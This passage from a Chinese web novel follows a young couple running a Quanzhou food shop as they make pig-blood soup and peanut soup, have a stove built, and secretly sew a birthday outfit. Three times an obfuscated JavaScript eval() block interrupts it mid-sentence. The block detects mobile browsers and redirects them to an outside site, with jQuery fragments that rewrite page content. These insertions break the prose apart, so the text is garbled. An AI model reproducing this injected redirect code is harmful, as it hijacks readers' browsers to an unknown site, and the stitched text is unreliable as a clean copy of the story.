虽说这笔钱算不了太多，但苏月娘还是为他的态度而欣喜。 “算你自觉！”苏月娘藏不住面上的笑意，捧着许东山的脸，黏黏糊糊地亲了上去。 管钱的事说完了，许东山便要接着办另外一件正事了。 两口子在被窝里难舍难分地亲了一通之后，四目相对，一时天雷勾地火。 …… 哦屁被一阵冷风吹醒。 它一个激灵睁开了眼睛，察觉这处不是它睡觉的地方，它当即不安地哼哼起来。 只可惜，爹娘在屋里忙着，压根没空搭理瑟瑟发抖的它。 78. 猪料汤 第二天清晨，哦屁在温暖的房里醒来。 它慵懒地趴在小窝里，看着漂亮的娘坐在梳妆镜前数钱，而后高大的爹站在娘身后，动作轻柔地给娘梳头发。 苏月娘数好了钱后，打开钱串，从上头划下二十个铜板一股脑地塞到许东山的衣兜里头。 “这是赏给许师傅的辛苦钱。” “梳个头而已，不辛苦。”许东山梳得很仔细，苏月娘那一把又黑又浓密的秀发很快被梳顺了。 苏月娘噗嗤一笑，“我没说是梳头辛苦……” 既然不是梳头辛苦，那就是…… 许东山不自在地咳嗽了两声，耳根子慢慢染上了红色。 调戏了许东山一番后，苏月娘叫许东山将钱收到匣子里放着，自己取出簪子，慢慢地盘发髻。 刚成亲的时候，她盘发髻还不太熟练，每天都要花不少时间打理头发，但如今上手之后，她盘的发髻牢固又美观。 许东山将钱收好后，苏月娘也盘好了头发。 两口子轮流亲了哦屁一口之后，才一起出门。 两人出来时，天已经马上快亮了，好在林大松和许春喜起得早，不然今早开门的时辰指定得往后推。 昨天挣了不少钱的林大松今天干活额外有劲儿，苏月娘才走出房巷，便听见他那刺耳的歌声。 吴头家还领着他孙子在吃饭，他的手边还放着一包许春喜做的蒜蓉枝。 “月娘头家，你快叫你表哥别唱了，太难听了！”吴头家面露痛苦。 苏月娘朝吴头家喊了声抱歉后，赶忙冲进厨房里，从林大松身后捂上他的嘴。 “唔唔唔唔唔唔……”林大松一阵挣扎。 “别唱了别唱了……你唱得太难听了，人家都有意见了！” 许春喜正巧端着菜从院子里进来，“我就说你唱得难听吧！别把客人都吓跑了！” 林大松还想为自己争取一下唱歌的权利时，苏月娘毫不留情道：“从现在开始，你不准在厨房唱歌！唱一句扣十文钱！” 比起唱曲子，林大松还是更喜欢钱，他咬了咬唇，忍住了想张嘴的冲动。 …… 昨天官老爷们来这儿吃饭的影响还在，今早的生意依旧好得过分，苏月娘忙得险些没有功夫出去买菜了。 中午那阵子，咸水鸭与姜母鸭全在出锅后的两刻钟后卖光了。 不过好在苏月娘早上有先见之明，临时加了一锅排骨咸饭、多泡了五斤湖头米粉，不然今天中午指定得有更多食客吃不上饭。 午后没那么忙碌了，苏月娘带上钱出了趟门。 趁着最近生意好，在后院砌新灶的事情可以准备起来了。 赶在年前盖房子的人家多，镇上几位能砌灶的师傅都在忙碌，后来还是苏月娘寻了上次帮忙砌墙的那个师傅，许诺了两倍工钱，才叫那师傅同意明日抽了半日的功夫去店里将灶给砌了。 —— 今天的客人实在多，店里的吃食纵然多做了一批，但也不够卖的，天还没黑，东西就卖空了。 没有吃上饭的客人悻悻离去。 关上店门，连轴转了一整日的几人总算松了一口气。 “难得这么早关门！我可得好好歇一歇！”林大松抻了个懒腰，往后一仰，瘫靠在了许春喜的身上。 许春喜满脸嫌弃地推了推林大松的脑袋，林大松却是得寸进尺地展开双臂，紧紧地抱着许春喜的腰。 “你别推我！我快累坏了！”林大松嘟囔。 许春喜也将他今日的辛劳看在眼里，难得心疼他一会，同意他靠在自己身上歇一会儿。 见兄嫂和红姑都面露疲惫，苏月娘便推着许东山去厨房做晚饭。 “今天大家都累坏了，就咱们两个做晚饭吧！” 许东山也累，但苏月娘都与他开口了，他也不好继续在堂屋里坐着歇息。 “家里还有什么菜？”趁着还没开煮，许东山赶紧松一松酸痛的胳膊。 “还剩下几样菜，和一坨肉羹、一碗花蛤，哦对了，今早上去买肉的时候，头家还送了我两大块猪料（猪血）呢！”苏月娘在角落里堆着的菜盆里翻出了猪料，“我也心疼心疼你！你负责将猪料做成汤便好，其他的我来解决！” 许东山眉开眼笑，“好。” …… 生猪料直接烹煮可不成，这容易让汤水变得浑浊、口味腥腻。 在正式烹煮之前，许东山抓起猪料，托在掌心，用菜刀慢慢地将大块猪料分成将生猪料焯了一番，鲜红的猪血变为暗紫色，至这样的程度，便能够煮汤了。 切上小半碗肥腻的五花肉片倒入大锅中煸炒出油脂，油水被煸干之后，许东山捞出猪油粕再倒上切好的葱头碎、番姜、当归以及虾米一起炒出香味。 前头那几人当真是累了，闻见一丝不一样的香料味也不走动过来瞧瞧锅中是什么，只是在外头大声叫唤道： “哥，你在煮什么？” “你哥在煮猪料汤！”离门比较近的苏月娘从厨房里探头。 “那得多加点番姜！喝起来暖和！”许春喜将林大松沉重的脑袋往边上一推，“你别光在这瘫着，快去厨房里给哥和月娘打下手！” “不去……他们都没喊我！”林大松哼哼两声，又自己抱了回去。 一旁啃着蒜蓉枝的阿生都看笑了。 “阿生都笑你懒了！” 林大松，“臭小子，一会儿吃饱了我再收拾你！” 许春喜对这头懒驴忍无可忍，“你再不去干活，晚上把你赶去跟哦屁睡！” 林大松睁开眼睛，疑惑道：“哦屁不是跟月娘他们睡吗？我可不想去他们屋里凑热闹！” 许春喜咬着牙马上就要发作，还算有点眼力见的林大松立即弹了起来，往厨房跑去。 阿生嘿嘿地笑出声。 大松姑父在春喜姑姑面前依旧如此怂。 …… 猪料汤适宜慢炖，这才能将汤水炖得油香醇厚。 许东山将家里最大的汤煲找出，倒入焯过水的猪油粕、姜片、葱头、一小把掰开的枸杞后倒入八分满的滚水，盖上盖子，任其慢炖。 许东山倒不可能真让苏月娘包了剩下的事情，现在林大松过来了，他便让苏月娘去给哦屁送羊奶，自己与林大松操持剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570127|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的事情。 …… 两刻钟之后，米饭熟了，菜也炒好了，许东山再次掀开汤煲的盖子，用木勺舀了一勺汤汁。 只见汤水颜色发暗，飘着一层油星子，汤水里头的黄白色猪油粕被泡得松松软软的，暗紫色猪料块也并未因为炖煮而松散，表面大致光滑，只有零星几个小孔洞含着点泛着油光的汤汁。 许东山往汤里放上适量盐、胡椒粉和永春老醋，淋上两圈料酒，最后倒入芹菜碎、葱花以及方才备好的香料葱头油，这辛辣爽口的猪料汤便可以端上桌了。 万事俱备，只欠猪料汤。 猪料汤摆在正中之后，饥肠辘辘的众人开始动筷吃饭。 “汤里油多，大家小心烫。”许东山先给苏月娘装上满满一碗猪料，再倒入两勺汤水。 话音刚落，心急的林大松被滚烫的汤水烫得惨叫了一声。 一桌子人都看向了他。 许春喜无奈地起身帮他倒凉水。 阿生凑过去，幽幽地说道：“姑父，心急吃不了热猪料哦！” 林大松咬牙切齿，“……你小子给我等着！” “都这么大人了，还威胁小孩！”许春喜揪着林大松的耳朵，让他转过头喝水。 有林大松被烫的例子在前，大家伙都慢吞吞地将汤吹凉才入口。 这猪料汤掺了猪油粕炖，又加了半碗葱头油，喝起来醇厚酸辣，而刻意切得没那么碎的芹菜碎又给这味重的猪料汤带来一丝清新。 经过炖煮的猪料尝起来依旧滑嫩似水豆腐，零星的小孔洞里所存的汤水也因为猪料在口中挤压而流淌出来。 胡椒与番姜的辛辣催得大家伙额角发汗，浑身上下暖洋洋的。 苏月娘一边往嘴里送汤，一边掏出巾帕擦拭额角的细汗。 “这大冬天的，大家都爱喝一口热的，我看这猪料汤若是拿出来卖，指定比咱们平日里煮的菜汤更受客人们的欢迎！”苏月娘呼出一口燥热的气，“阿山，明天你早点起来，去把杀猪匠那儿的猪料都包了！明天我们做猪料汤！” 猪料原是不值钱的，但猪料汤里放了猪油粕与猪油熬成的葱头油，单凭荤腥足这一点，苏月娘便自信这猪料汤能够与平日里卖的菜汤一个价。 头家都发话了，许东山自然是应下了她交代的事情。 大家伙专心吃饭时，房巷那儿忽然冒出一个黑漆漆的小脑袋。 东张西望的阿生瞧见了小小的哦屁躲在房巷口往外张望。 “干娘，哦屁过来了！” 苏月娘回过头，忙对哦屁招手，“哦屁快过来！” 得到了娘的允许，哦屁这才摇着小尾巴，屁颠屁颠地朝着苏月娘小跑去。 苏月娘弯下腰，将哦屁抱到腿上放着，“外头这么冷，你怎么敢出窝！也不怕被冻成傻狗！” 哦屁在苏月娘温暖的怀里蹭了蹭，发出委屈的哼哼声。 “傻狗，大冷天还出来。”许东山揉了揉哦屁的脑袋。 哦屁动了动鼻子，黑亮的眼睛盯着苏月娘碗里的猪料汤。 阿生若有所思，“原来哦屁是被汤给香出窝的呀！” 79. 裁新衣 上回来砌墙的那对师徒天没亮就过来砌新灶了。 正要端着大盆出门买猪料的许东山开门时，正好撞见拉着砖头泥沙过来的砌灶师傅。 这师傅大抵是为了赶工期，今天还特地多带了个学徒过来帮着干活。 许东山赶忙绕去侧边，开了后院的门，帮着师徒三人将砖头泥沙运到了后院去。 “哎呦！几位这么早就上门了！”林大松赶紧将手里的大桶放下，去帮着四人卸东西。 “没办法，月娘头家给的实在太多了！我们不早点过来，多干点活，不然可就真对不起她多给的钱！”师傅左右忙活了一阵后，直起腰来，用袖子擦了擦额头的细汗，“阿山，你再同我说说你家这灶要砌成什么样子！” 先前苏月娘已经与许东山一起商讨过了几回，许东山也将新灶的事情牢记于心。 许东山指了指已经清空了杂物的角落，那被苏月娘用借来的裁衣白饼划了线条的空地背靠围墙，约有二十方尺，“这处划了线的地往上砌三尺半，总共要划十个小灶孔，放的是那样大的炖煲。” 许东山示意那师傅瞧一瞧倒扣在另一侧的十个炖煲。 都是几十年的老师傅了，许东山将基本的要求说清楚了，那师傅也知道该怎么动手了。 “你们先去忙你们的！不用管我们！这灶保管给你们砌得漂漂亮亮、结结实实的！” 许东山也信得过这师徒俩，在离开之前，他还嘱咐林大松不要只顾着做面线糊，还要记得给这师徒三人搭把手。 …… 苏月娘与许春喜不过就是晚了一刻多钟出来，师徒俩就已经搅和好了一堆砌灶的黏泥。 “辛苦您这么早过来了！”苏月娘站在院中四处张望，“这两个呆子连壶热茶都不知道准备！” “他们两个可不呆！带进来的东西可都是他们两个年轻人帮着从拉车上卸下来的！” 好在家里有一起床就烧一壶热水放着的习惯，许春喜回到厨房里，提起正在冒白汽的水壶，用里头的滚水冲泡了些铁观音茶，等茶汤变得澄黄，再倒回水壶里，带上三只茶杯，送到后院去放着，供师徒三人取用。 张罗好院子里的事情，苏月娘抬头望天，浅浅的月牙儿还挂在天边，天幕才蒙蒙发亮，“现在时候还早，你不若去准备一些蒜蓉枝！这两日人多，你那蒜蓉枝肯定能卖得好！” 许春喜有些迟疑，“我若停下来称重收钱，总免不了耽误招待客人的事情。” 苏月娘摆摆手，只是推着许春喜回屋，“你只管将你的蒜蓉枝做出来再负责卖掉就好，旁的你不用操心！反正又耽误不了什么！” …… 许东山这一趟出去不仅装来了两大盆猪血，还顺带买了中午要用的菜，原想要分两趟跑的，好在半途遇见了红姑祖孙儿二人，这才一次性将东西给送了回来。 人都到齐了，热气腾腾的面线糊和种类丰富的配料也差不多出锅了。 纵然砌灶的事情重要，但苏月娘还是喊师徒三人进门一起喝一碗料满满的面线糊填饱肚子。 …… 砌一排简单的土灶并不需要什么复杂的手艺，师徒三人快马加鞭地从不到卯时一直干到午时出头，用来做姜母鸭的一排土灶便砌好了。 师傅喊来苏月娘再三嘱咐这灶需得风干个三四日才能开火使用。 苏月娘记下了师傅的话，验收了那排土灶后，爽快地给师傅结了工钱并提出要留他们师徒三人吃午饭。 早上已经吃过了都是荤料的面线糊的师徒三人自然是不好意思再吃人家一顿午饭。 师傅便以还急着干别家的活为由，带着两个小徒弟离开了。 —— 平素口味清淡的泉州人总喜好在冬日里用些味重的吃食。 苏月娘看好自家的猪料汤，笃定猪料汤的销路一定会好，于是定了小碗猪料汤三文一碗，大碗猪料汤四文一碗。 月娘小吃铺的猪料汤给料多，又荤腥十足，舍得花钱的就买小碗的配着米饭或者米粉吃，不舍得花钱的花上四文买一碗大碗的猪料汤也能够轻易填饱肚子。 近两日客人多，堂屋里添了不少椅子，客人们肩挨着肩坐本就暖和，再喝上一碗辛辣催汗的猪料汤，人人满头大汗。 站在孤榻上等着进门吃饭的客人将大门挡得严严实实的，叫外头的光照不进来。 苏月娘、许春喜以及红姑挤在黑压压的食客里头送汤送饭，照顾屋里的一片混乱之余，还需得应付外头急不可耐的客人。 “月娘头家，猪料汤还剩多少？别我还没进去，猪料汤就卖光了！”这客人方才路过此处，看这儿排着长龙，原是想换个地方解决午饭的，但听往外走的几人说今日的猪料汤味道不错，他才停下脚步，眼巴巴地排起了队。 苏月娘隔着好一截儿就听见外头的客人在问猪料汤的事情。 “等你排到了，新一锅猪料汤也就出锅了！你正好能喝上一口最热乎的！” 那人这才眉开眼笑。 见门外的客人或多或少都有些急，有的还因为天气太冷而放弃等待，许春喜特地抽空备了一壶热茶并装上一碟蒜蓉枝与一碟红姑自己煮的湿花生送出去。 “辛苦大家久等了，先喝点热的暖暖身子，要是实在饿得不行了，就吃点蒜蓉枝和湿花生。” 大家都还是头一回知道排队等饭还能吃喝，刚想要走的客人又立即歇了心思。 —— 今日依旧是提前关门的一日。 苏月娘拉上门栓后，走到厨房外去，往装蒜蓉枝的盆里望了一眼，盆里只余下一些碎渣。 “今天春喜嫂的生意不错呀！”苏月娘走到正在数钱的许春喜身边去，“今日你端了茶水和零嘴出去后，我便听外头那些人在夸你的蒜蓉枝呢！” “其实这也赚不了太多，还费了我半个早上的心神……唉，明日不做了。” 前几日客人少，许春喜又图个新鲜，就算也没挣到多少，但她心里却依旧开心。 今日客人多，她疲惫地招呼杂乱的客人之余还要抽空停下来称重收钱，她想要舍弃蒜蓉枝这门生意也是正常的。 苏月娘粗略扫了一眼许春喜方才数的那一叠铜钱，约莫三十多文的样子。 这比起她给许春喜的工钱，确实是算杯水车薪了。 “那便歇着！等你开心了再做，别把身体累垮了，不然以后谁给我做零嘴吃！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575957|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 许春喜笑着应了一声，抱着苏月娘的腰，与她亲亲热热地靠在一起。 姑嫂俩自己在堂屋里好着，其他人要么在院子里洗碗筷，要么在厨房里煮饭。 趁着周边没人，许春喜悄悄问道：“再过半个月就是我哥的生辰了，你有什么安排吗？” 苏月娘抬眸，正好能瞧见正在锅灶边忙碌的许东山。 她压低声音，“你哥总穿得跟街边的乞丐一般，我就想着将他的旧衣裳丢了，多给他做一身新的做替换。” 许春喜噗嗤一笑，“给那乞丐汉的衣裳做到什么地步了？” 苏月娘，“午后我才去裁缝铺子买了料子回来呢！” “你若有什么不会的尽管找我！你哥身上的衣裳可都是我给做的！” 此时许东山忙着煮饭，苏月娘正好可以带着许春喜溜回房里先做一点。 姑嫂俩神秘兮兮地去了屋里，并将房门锁上了。 “午后带这些布料回来的时候还让阿山撞见了！怕他生疑，我还骗他这是用来给哦屁做衣裳的？” 哦屁依稀听见自己的名字，从窝里探出脑袋想要听个仔细。 “你可量过我哥的尺寸？若是不好量，你就拿他成亲前新做的那两身衣裳来比着做！” 苏月娘咬着唇笑了笑，随后展开双臂，慢慢合成圈。 “你哥的腰大概这么粗。” 许春喜看着苏月娘这个比划法，面上露出了暧昧的笑。 “新婚燕尔就是不一样……夜里没少抱在一起睡吧？” 许春喜说话一直很大胆，这话害得苏月娘一下子羞红了脸，“这有什么奇怪的，两个人抱着睡……多暖和啊……难不成你和我哥不抱着睡？” 许春喜拍了拍苏月娘的肩，“他呀……他偶尔是在地上睡的，等你对我哥的新鲜劲过了，我哥也得被你赶到地上去睡！” 这家表哥这么会气人，苏月娘并不意外他会被赶到地上去睡，倒是自家阿山，温柔体贴伺候人又十分尽心尽力……他这般好，自己绝不可能将他赶到地上去睡！ 做衣裳的事情要紧，苏月娘没再就着夜里怎么睡觉同语出惊人的许春喜瞎掰扯。 她抱了许东山一个多月了，早已将他的肩、胸、腹的尺度牢记于头脑与双臂。 许春喜扯着布尺就着苏月娘的胳膊量了自己大哥的尺寸。 每量一处，许春喜便在布料上用裁衣白饼划一道标记。 …… 饭菜都上桌了，姑嫂二人还在屋里做衣裳。 许东山寻不见二人，便去了后屋，见自己的房门紧闭着，他便走上前去一推。 被紧紧锁着的门半点没有动弹，许东山皱眉，这可是自己和苏月娘的房间，她们姑嫂二人躲在屋里做什么？ “你们两个在做什么？”许东山敲了敲门，“开饭了。” 才刚往衣片上扎下头一针的苏月娘吓得赶紧将桌上的东西一股脑地扫到了筐里。 “你先出去！我和月娘马上就到！”许春喜帮着苏月娘将那一筐布料针线藏在了床底下。 门外的许东山有些纳闷，原想追问的，但又怕两人办的是什么不方便让他知道的事情，索性不问了。 80. 古早味花生汤 还有不到一个半月就要年兜了，镇上的人们愈发忙碌，天还没亮就过来喝面线糊的客人越来越多，连一向早到的吴头家和阿墩都显得迟了。 今天，阿墩又在同吴头家闹脾气，这圆润的孩子趴在桌上不肯喝面线糊，嘴里嘟囔着要吃蒜蓉枝才肯去学堂。 只可惜许春喜不做蒜蓉枝了。 吴头家也不乐意一直惯着孙子，只道：“我看你是将先生教的东西都学到狗肚子里去了！不仅懒惰不想读书，还为了那一点零嘴想方设法的跟我玩脑筋！” 苏月娘站在厨房门口，看着阿墩委屈巴巴地将那碗面线糊捧到自己面前，边掉眼泪边往嘴里送面线糊。 “念书多好的事情啊，他还不想去……等他以后像我这样没日没夜地待在厨房里炒米粉炖鸭子，就知道老实了！”林大松靠在厨房门边探出脑袋偷看。 “你小时候可比阿墩可恶多了！阿舅要送你去念书，你还半路跳车自己跑了！你现在在厨房里没日没夜炒米粉炖鸭子能怪谁？”苏月娘将林大松的老底掀了个干净。 林大松脸上挂不住，哼哼着朝苏月娘脚后跟踢了一脚，“你这人可真不会说话！” “春喜嫂！林大松他欺负我！” 苏月娘话音刚落，许春喜便放下手头的事情，一拳头朝着林大松的后腰捶过去。 最为稳重安静的许东山一边给哦屁热着羊奶，一边看着三个人站在厨房门边闹着。 从前两个人的日子温馨宁静，现在四个人的日子倒是有点热闹过头了…… “春喜又在教训大松了？”红姑出声了，看热闹的苏月娘才发觉她的到来。 “是啊！叫他欺负我！” 见外头又有客人来了，许春喜才放过林大松，叫他等着给客人盛面线糊。 红姑手上提着个麻袋，走进厨房后，她寻了个合适的角落将麻袋放好。 “伯母，您带的什么呀？” “这是我自己种的花生！这段时日一直在店里吃喝，家里的东西都没什么消减，花生放久就不好吃了，我就想着带来让你们帮忙分担一些！” 苏月娘翻开麻袋口瞧了一眼，“难怪您最近总是带着煮熟的花生过来！原来有这么多！” 阿生叹气，“可千万不要再煮花生了……我在家都吃怕了！” 苏月娘被逗笑了，“一会儿叫你春喜姑姑给你想想办法！” 阿生期待地点了点头。 哦屁还小，得□□细一些，许东山给哦屁的羊奶煮熟后盛入碗里，放到凉水里冷却。 过了一会儿，苏月娘去试了温度，见温度差不多能入哦屁的口了，才从冷水里捞起碗，端到后屋去给哦屁喝。 天井中间还晒着红姑昨天带来的湿花生，苏月娘出了房巷后便顺着短廊上了后堂屋，一路回房。 今天羊奶上得迟，哦屁已经饿得趴在狗窝里哼哼乱叫了。 苏月娘一将羊奶摆上去，哦屁便一下子蹿出被窝，伸长脖子大口喝奶。 “等你爹的衣裳做好了，我用剩的料子也给你做一身！” 虽然全身是毛的小狗用不太着穿衣裳，但苏月娘将哦屁当成自家小孩，还是觉得待在狗窝里的它会怕冷。 这个很有灵性的小家伙大概是听懂了苏月娘的话，从狗碗里抬起头，舔了舔苏月娘的手。 “你乖乖喝奶，娘出去干活了！” 稍微填饱肚子的哦屁奶声奶气地朝着苏月娘吠了一声。 苏月娘笑着关上了房门。 —— 阿生这个大馋鬼早早地和许春喜就花生该怎么做探讨了一番。 许春喜原是要炸点花生蘸白糖盐糊弄阿生的，可阿生早就吃腻了这个。 姑侄俩在那儿讨价还价了好一会儿，还是更大的那只馋鬼——林大松跳出来，说想喝花生汤。 花生汤倒也没什么麻烦的，阿生和许春喜都欣然同意了。 许春喜还要忙着招呼客人，给花生剥壳的事情自然是落在阿生的身上。 正好红姑也不乐意阿生成天野马似的在外头乱窜，便给他搬了一张凳子，坐叫他坐在堂屋里剥壳。 阿生平日极少待在店里，客人们见着他，便忍不住逗他两句。 好在这孩子外向，别人逗他，他便接话，聊着聊着，许春喜给他安排的两大盆花生倒还真让他剥干净了。 “春喜姑姑！春喜姑姑！我剥好了！”阿生兴致勃勃地端着一大盆花生米去找许春喜，“可以做花生汤了吗？” 许春喜揉了揉阿生的脑袋，“你这小馋鬼干活倒是积极！你端去厨房里叫那个大馋鬼烧壶水把花生泡一泡！等半个时辰之后，你去将花生皮搓了，这花生汤就能开煮了！” 阿生又噔噔噔地跑回厨房找林大松帮忙烧水泡花生。 花生泡上后不久，就到了最忙碌的时候。 懂事的阿生怕打扰到大人们做事，端上苏月娘交给他的羊奶溜去后屋喂哦屁。 等时候差不多了，他又跑回厨房，将手伸入水中，仔仔细细地给泡软了一些的花生搓了浮起来的皮。 花生皮差不多搓干净后，阿生找了个碗，将飘在水面上的花生皮舀出倒掉，再将去了皮的白嫩花生仁用手捧出，装在大碗里静等着许春喜过来做花生汤。 …… 前几日因为衙门那几个大人突然高涨的生意今日有了回落的迹象。 过了饭点后，便只剩下几个散客还在堂屋里吃饭。 许春喜闲下来了才想起要给阿生煮花生汤的事情。 “阿生这孩子跑哪去了？好久都没见人影了。”许春喜再次清洗了那些去了皮的花生仁。 许东山抓着个新的丝瓜擦，用力地刷煸姜母鸭的煲，“刚刚我去后面看了一眼，阿生玩累了，躺在哦屁的狗窝上睡着了。” 许春喜咋舌，“小孩子就是好眠，怎么在狗窝也能睡？” 许东山，“……已经把他抱到床上去睡了……” 既然阿生已经睡着了，许春喜也就没有特地去将他喊起来，只是心里估摸着等他睡够了，这花生汤应当能够出锅。 许东山将装姜母鸭的煲洗干净了，许春喜正好接手那口煲，将花生倒进去，加上水，盖上盖子慢慢炖煮花生。 洗碗筷的事情不必苏月娘与许春喜操心，苏月娘看许春喜煮上花生、蒸上芋头块了，便拉着许春喜要去后屋一起给许东山做衣裳。 两人才刚走出厨房，便碰上了阿莲气冲冲地走进来。 “诶……你怎么突然过来了？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580591|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”苏月娘拐了弯，去接阿莲。 阿莲一屁股坐在凳子上，用力一拍桌子，不仅苏月娘和许春喜，就连离得远的客人也被这一出给吓到了。 苏月娘和许春喜赶忙坐下。 “你这是怎么了？怎么生这么大的气啊？”苏月娘赶忙给阿莲倒杯茶消消火。 阿莲抬起手，指着边上的那堵墙。 姑嫂二人一脸疑惑的望过去。 墙？ “这墙怎么了？” 阿莲收回手，抓起茶杯，一口将茶水喝了后，稍稍平息了怒气后才开口道： “昨日我二叔说要给我介绍一个镇上的！今日一见，没想到是你家隔壁那个二流子！” 苏月娘与许春喜对视了一眼。 隔壁的二流子，许东石。 “他这名声都坏透了，你二叔怎么还安排你跟他相看？” 阿莲冷笑，“刚才我见是许东石那个无赖转头就走，怎知道那个无赖将我拉着，说叫我将钱还他！我一问才知道，我二叔竟然私底下收了李金花的好处！” 苏月娘瞪着眼，怒不可遏，“这做的那叫人事儿？这简直是将你往火坑里推！” 许春喜轻轻拍着阿莲的后背，“要我说你的婚事可莫要叫你二叔插手了！省得他哪天又为了彩礼钱，将你嫁给哪个不靠谱的！” “先前他那么积极地替我张罗相看的事情，我还以为他是为了我好，没想到是想用我的婚事牟利！”阿莲越说越气，拍着桌子站了起来，“这口窝囊气我可不能轻易咽下！我这就回去找他算账！” 别看阿莲平日里笑脸迎人，待谁都好，但真要发起火来，旁人也得叫她一声母老虎。 苏月娘与许春喜怕阿莲一个姑娘家吃亏，赶忙一左一右的将她扣下了。 两人好说歹说许久，才将阿莲留在店里。 衣裳是做不成了，姑嫂俩专心地陪着阿莲痛骂她二叔和许东石，后来院子里的三人洗完碗筷出来，得知发生了什么事情，红姑和爱凑热闹的林大松也加入了痛骂的行列。 骂到最后，阿莲竟然暂时消了气，面上有了点笑容。 …… 大家都陪着阿莲给阿莲支招，许春喜估摸着花生汤煮得差不多了，悄悄起身去了厨房。 厨房里已然溢满了花生的香气。 花生汤这东西大概每处都有，但闽南花生汤比别处的花生汤浓稠，用勺舀还能挂上一层薄浆。 许春喜盛出一大勺花生连带些许飘着花生油的汤水与蒸好的芋头块混合在一起用杵慢打成均匀细腻的浓浆。 这浓浆便是米兰花生汤浓稠的奥秘。 浓浆倒入颜色还有些清澈的花生汤中，沸腾的水泡卷着浓浆与花生汤混合均匀，芋头的香味也因为再次受热而激发出来。 最后许春喜往锅中放入几大块冰糖，待冰糖彻底融化之后，稍加搅拌，许春喜便用两块湿抹布包着煲耳将煲提离了灶孔。 “先别聊了！都来喝花生汤！”许春喜将花生汤端到了过去，苏月娘赶忙扯了一块碗垫摆上。 林大松则是起身去厨房给大家取碗和勺子。 众人围在一起喝这浓郁醇香的花生汤。 没有人想起，阿生还在后屋和哦屁一起睡觉。 81. 泉港浮粿1 小孩子总是睡得深，没有睡足不会轻易醒过来。 眼见着天都快黑了，晚饭的香味一直从前面飘到了后屋，阿生才揉着眼睛从床上坐起来。 哦屁站在床边朝他吠了两声。 阿生迷茫了好一会儿才想起花生汤的事情，他赶忙掀开被子跳下床，将许东山帮他脱下的袄子穿严实了，才开门往外跑。 哦屁与阿生呆了半日，已经与他混熟了，见阿生走了，哦屁赶紧跟着追在他身后一颠一颠地跑了出去。 一人一狗去到堂屋，大人们正往外端菜。 “我刚要去喊你，没想到你就自己跑出来了！”苏月娘将米饭放在桌上后，顺手将阿生抱上了长椅。 “干娘，你怎么不早点叫我啊？” “下午你阿莲姑姑过来坐了一会儿，就忘了去喊你。” 阿生往饭桌上一趴，有些遗憾没能喝上花生汤。 饭菜都上齐了，今日饭桌上有阿生喜爱的芋头炖排骨，可这也不能叫他开心起来。 许春喜是最后一个上桌的。 “给你留了一大碗！当汤喝！” 面前忽然出现了一碗热气腾腾的浓稠花生汤叫阿生的眼睛突然亮了起来。 “春喜姑姑，你真好！” “还要告诉你一个好消息。”苏月娘给阿生舀了一勺芋头炖排骨盖在米饭上。 阿生嚼着软糯的花生仁，疑惑地看着苏月娘。 “明天开始，店里要开始卖花生汤，以后这花生汤能让你喝到腻味！” 阿生咽下花生，脸上的笑容灿烂极了，“我绝对不会腻！” 卖花生汤这事儿还是阿莲的建议，当时阿莲尝过了这花生汤后，直夸这花生汤味道好，还怂恿苏月娘将这花生汤与面线糊一起卖。 苏月娘倒还真仔细地想了想这事儿。 夏天的时候，自家的小店因为四果汤而多了些小孩光顾，后来天气凉了不再做四果汤了，店里倒是冷清了一段时日。 虽说最近生意很是不错，店里的几个人也都累得够呛，但苏月娘还是想着先将花生汤的名头打出去，等这段时日的风头过去了，她也还能靠花生汤吸引些馋嘴的孩子，让店里热闹一些。 —— 次日，吴头家领着难得消停一日的阿墩上门了。 阿墩手里抓着个热气腾腾的肉包子边吃边往店里走。 苏月娘看见祖孙俩，边很自觉地按照吴头家的老规矩给他上了一碗。 “你确定不喝面线糊？别还没到中午饭点又和先生哭饿！” 阿墩摇了摇头，腮帮子被肉包子塞得鼓鼓囊囊的。 苏月娘看阿墩吃包子吃得着急，生怕他一不留神就会被噎着，“今天这么乖，月娘姑姑送你一碗喝的好不好？” 阿墩连连摇头，“不……我不想喝面线糊！” “嘿！你还真挑！等你以后出远门当官去了，我保管你会时不时想起这里的面线糊！”吴头家对阿墩抱有极大的期望。 “今天煮了点花生汤，这花生汤可甜了，你要不要？” 阿墩转了转眼珠子，欣然同意了。 苏月娘便进厨房去给阿墩盛花生汤了。 当花生汤放到阿墩面前，阿墩撅着嘴，吹了吹气，随后压下身子，就着碗沿，嘬了一口又甜又稠的花生汤。 他咂咂嘴，十分老成地道：“头家，你以后不要卖面线糊了，你卖这个吧！” “是你自己想喝花生汤吧！”吴头家毫不留情地拆穿了孙子的小心思，接着，他摸了摸兜，“月娘啊，这花生汤多少钱！” “这是送他的，不用给钱了！” “最近他可没少在你这儿白吃白喝！你这么做生意也不怕亏钱！” 